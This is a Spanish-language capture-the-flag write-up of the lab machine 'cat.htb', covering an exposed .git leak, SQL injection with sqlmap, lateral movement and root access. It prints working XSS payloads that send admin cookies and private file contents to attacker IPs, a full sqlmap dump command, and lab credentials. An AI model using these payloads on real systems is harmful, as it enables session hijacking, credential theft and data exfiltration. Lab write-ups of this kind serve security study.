1. Escaneo de puertos tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. Enumeración
Empezamos enumerando y listado todos los directorios y archivos con la herramienta dirsearch:
# python dirsearch.py -u http://cat.htb
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289
Target: http://cat.htb/
[06:39:38] Scanning:
[06:39:45] 301 - 301B - /.git -> http://cat.htb/.git/
[06:39:45] 403 - 272B - /.git/
[06:39:45] 403 - 272B - /.git/branches/
[06:39:45] 200 - 7B - /.git/COMMIT_EDITMSG
[06:39:45] 200 - 92B - /.git/config
[06:39:45] 200 - 23B - /.git/HEAD
[06:39:45] 200 - 73B - /.git/description
[06:39:45] 403 - 272B - /.git/hooks/
[06:39:45] 200 - 2KB - /.git/index
[06:39:45] 403 - 272B - /.git/info/
[06:39:45] 200 - 240B - /.git/info/exclude
[06:39:45] 403 - 272B - /.git/logs/
[06:39:45] 200 - 150B - /.git/logs/HEAD
[06:39:45] 301 - 317B - /.git/logs/refs/heads -> http://cat.htb/.git/logs/refs/heads/
[06:39:45] 200 - 150B - /.git/logs/refs/heads/master
[06:39:45] 301 - 311B - /.git/logs/refs -> http://cat.htb/.git/logs/refs/
[06:39:45] 403 - 272B - /.git/objects/
[06:39:45] 301 - 312B - /.git/refs/heads -> http://cat.htb/.git/refs/heads/
[06:39:45] 200 - 41B - /.git/refs/heads/master
[06:39:45] 403 - 272B - /.git/refs/
[06:39:45] 301 - 311B - /.git/refs/tags -> http://cat.htb/.git/refs/tags/
[06:39:46] 403 - 272B - /.php
[06:39:54] 302 - 1B - /admin.php -> /join.php
En dicha salida, vemos que existe un directorio .git, el cual lo podemos obtener con la herramienta git-dumper:
# git-dumper http://cat.htb .
La cual nos descarga los siguientes archivos:
total 84
-rwxr-xr-x 1 root root 893 Feb 25 09:06 accept_cat.php
-rwxr-xr-x 1 root root 4496 Feb 25 09:06 admin.php
-rwxr-xr-x 1 root root 277 Feb 25 09:06 config.php
-rwxr-xr-x 1 root root 6676 Feb 25 09:06 contest.php
drwxr-xr-x 2 root root 4096 Feb 25 09:06 css
-rwxr-xr-x 1 root root 1136 Feb 25 09:06 delete_cat.php
drwxr-xr-x 7 root root 4096 Feb 25 09:06 .git
drwxr-xr-x 2 root root 4096 Feb 25 09:06 img
drwxr-xr-x 2 root root 4096 Feb 25 09:06 img_winners
-rwxr-xr-x 1 root root 3509 Feb 25 09:06 index.php
-rwxr-xr-x 1 root root 5891 Feb 25 09:06 join.php
-rwxr-xr-x 1 root root 79 Feb 25 09:06 logout.php
-rwxr-xr-x 1 root root 2725 Feb 25 09:06 view_cat.php
-rwxr-xr-x 1 root root 1676 Feb 25 09:06 vote.php
drwxr-xr-x 2 root root 4096 Feb 25 09:06 winners
-rwxr-xr-x 1 root root 3374 Feb 25 09:06 winners.php
Una vez examinados los archivos, vemos que en el archivo join.php
podemos ver como el método de registro es inseguro, pues no se realiza una correcta validación de los datos de entrada, tal y como se muestra en el siguiente fragmento de código:
// Registration process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
$username = $_GET['username'];
$email = $_GET['email'];
$password = md5($_GET['password']);
$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$stmt_check->execute([':username' => $username, ':email' => $email]);
$existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);
if ($existing_user) {
$error_message = "Error: Username or email already exists.";
} else {
$stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
$stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
if ($stmt_insert) {
$success_message = "Registration successful!";
} else {
$error_message = "Error: Unable to register user.";
}
}
}
Por lo que en el campo de nombre de usuario pode probar a realizar algún tipo de inyección XSS.
3. Explotación
Probamos a introducir entonces la siguiente cadena en el campo del nombre del usuario:
<script>document.location='http://10.10.14.118?c='+document.cookie</script>
Si ahora subimos una foto del concurso, ponemos un servidor http a la escucha y esperamos a que el administrador lo compruebe, recibiremos la siguiente petición en la que se incluirá su cookie de sesión:
# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [25/Feb/2025 09:24:40] "GET /?c=PHPSESSID=4slr5e8gqbrhesm75usul53bu7 HTTP/1.1" 200 -
10.10.11.53 - - [25/Feb/2025 09:24:40] code 404, message File not found
10.10.11.53 - - [25/Feb/2025 09:24:40] "GET /favicon.ico HTTP/1.1" 404 -
Cambiamos entonces el token de usuario en el navegador y observamos como somos capaces de acceder como usuarios administrador a la página web.
En dicha página de administrador, observamos que podemos realizar la votación a los distintos gatos del concurso. En ella podemos ver los campos que hemos subido, a la hora de registrar a uno. Si nos fijamos en el código de dicha página, gracias a los ficheros descargados del repositorio git del paso 2, vemos lo siguiente:
// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Capture form data
$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
// Check for forbidden content
if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
contains_forbidden_content($age, $forbidden_patterns) ||
contains_forbidden_content($birthdate, $forbidden_patterns) ||
contains_forbidden_content($weight, $forbidden_patterns)) {
$error_message = "Your entry contains invalid characters.";
Una vez subido el gato, el administrador puede aprobar dicho gato o no. Esto se hace a través del endpoint /accept_cat.php
con la siguiente petición:
POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://cat.htb
Connection: keep-alive
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=hk7vmhrjn9v8d33pmfbo8ahtnr
Priority: u=0
catName=1&catId=1
Si observamos entonces el código del fichero accept_cat.php
, que es el que tramita dicha petición, vemos lo siguiente:
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
Es decir, no se realiza una sanetización del parámetro catId,por lo que podemos intentar realizar un sqli. Si observamos la respuesta a dicha petición podemos ver como no somos capaces de observar una respuesta con contenido. Por lo que para agilizar el proceso de ataque podemos utilizar la herramienta sqlmap, y obtenemos lo siguiente:
# sqlmap -u "http://cat.htb/accept_cat.php" --data "catName=1&catId=1" --cookie="PHPSESSID=hk7vmhrjn9v8d33pmfbo8ahtnr" -p catName --level=5 --risk=3 --dbms=SQLite --technique=B -T "users" --threads=4 --dump
[10:27:18] [INFO] retrieving the length of query output
[10:27:18] [INFO] retrieved: 159
[10:27:56] [INFO] retrieved: CREATE TABLE users ( user_id INTEGER PRIMARY KEY, username VARCHAR(255) NOT NULL, email VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL )
[10:27:56] [INFO] fetching entries for table 'users'
[10:27:56] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[10:27:56] [INFO] retrieved: 11
[10:27:57] [INFO] retrieving the length of query output
[10:27:57] [INFO] retrieved: 18
[10:28:02] [INFO] retrieved: axel2017@gmail.com
[10:28:02] [INFO] retrieving the length of query output
[10:28:02] [INFO] retrieved: 32
[10:28:10] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f
[10:28:10] [INFO] retrieving the length of query output
[10:28:10] [INFO] retrieved: 1
[10:28:11] [INFO] retrieved: 1
[10:28:12] [INFO] retrieving the length of query output
[10:28:12] [INFO] retrieved: 4
[10:28:13] [INFO] retrieved: axel
[10:28:13] [INFO] retrieving the length of query output
[10:28:13] [INFO] retrieved: 24
[10:28:19] [INFO] retrieved: rosamendoza485@gmail.com
[10:28:19] [INFO] retrieving the length of query output
[10:28:19] [INFO] retrieved: 32
[10:28:29] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c
[10:28:29] [INFO] retrieving the length of query output
[10:28:29] [INFO] retrieved: 1
[10:28:30] [INFO] retrieved: 2
[10:28:31] [INFO] retrieving the length of query output
[10:28:31] [INFO] retrieved: 4
[10:28:32] [INFO] retrieved: rosa
[10:28:32] [INFO] retrieving the length of query output
[10:28:32] [INFO] retrieved: 29
[10:28:39] [INFO] retrieved: robertcervantes2000@gmail.com
En dicha salida, podemos ver unos nombres de usuarios y unos hashes. Intentamos entonces crackear estos hashes con la herramienta online Crackstation y damos conseguido los siguientes credenciales:
rosa:soyunaprincesarosa
Y damos conseguido acceso al equipo.
3. Movimiento lateral
Podemos observar como en el directorio /home de Rosa no se encuentra la flag de usuario. Si observamos más directorios dentro de home, podemos ver el del usuario axel. Revisando logs y ficheros, descubrimos los logs del servicio apache2. En el podemos observar las conexiones a dicho servicio, y descubrir la siguiente información:
./apache2/access.log:127.0.0.1 - - [25/Feb/2025:14:49:20 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
Accedemos por tanto, a través de ssh a dicho usuario con las credenciales axel:aNdZwgC4tI9gnVXv_e3Q
. Y observamos que somos capaces de obtener las flag de usuario.
4. Escalado de privilegios
Cuando iniciamos sesión por ssh, vemos el siguiente banner:
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Thu Feb 27 19:07:51 2025 from 10.10.16.101
Es decir, podemos observar como el usuario axel tiene un corre. Si miramos el email descubrimos lo siguiente:
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository.
Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks.
The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/.
In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
Si listamos entonces la interfaces de red, vemos que existe un servicio web en el puerto 3000. Si forwardeamos dicho servicio a nuestra máquina:
# ssh -L 1234:127.0.0.1:3000 axel@cat.htb
Vemos un servicio llamado Gitea, con la versión 1.22.0. Si buscamos algun exploit relacionado, vemos el siguiente https://www.exploit-db.com/exploits/52077. El cual basicamente consiste en un XSS stored, más concretamente en el campo descripción cuando creamos un repositorio. Se nos puede ocurrir modificar esto para que un usuario del sistema (según el correo el usuario jobert@localhost) lea el commit y nos mande lo que contenga el endpoint http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php listado en el correo,
Para ello, siguiendo el exploit encontrado, deberemos de realizar los siguientes pasos:
Primero nos logeamos como axel en gitea
Creamos un repositorio, con la siguiente descripción
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.15.33/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">XSS test</a>
- Después en una terminal, en nuestro equipo, abrimos un puerto ssh escuchando:
# python -m http.server 80
- En una terminal como axel, enviamos un correo a jobert pidiendo que revise nuestro repo
echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/test" | sendmail jobert@localhost
- Recibimos como respuesta el siguiente mensaje
10.10.11.53 - - [27/Feb/2025 16:09:56] "GET /?response=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A HTTP/1.1" 200 -
En el que se pueden ver las credenciales admin:IKw75eR0MR7CMIxhH0
. Si probamos a iniciar sesión por ssh como root:IKw75eR0MR7CMIxhH0
, vemos que damos conseguido acceso, y por lo tanto somos capaces de obtener la flag de usuario root.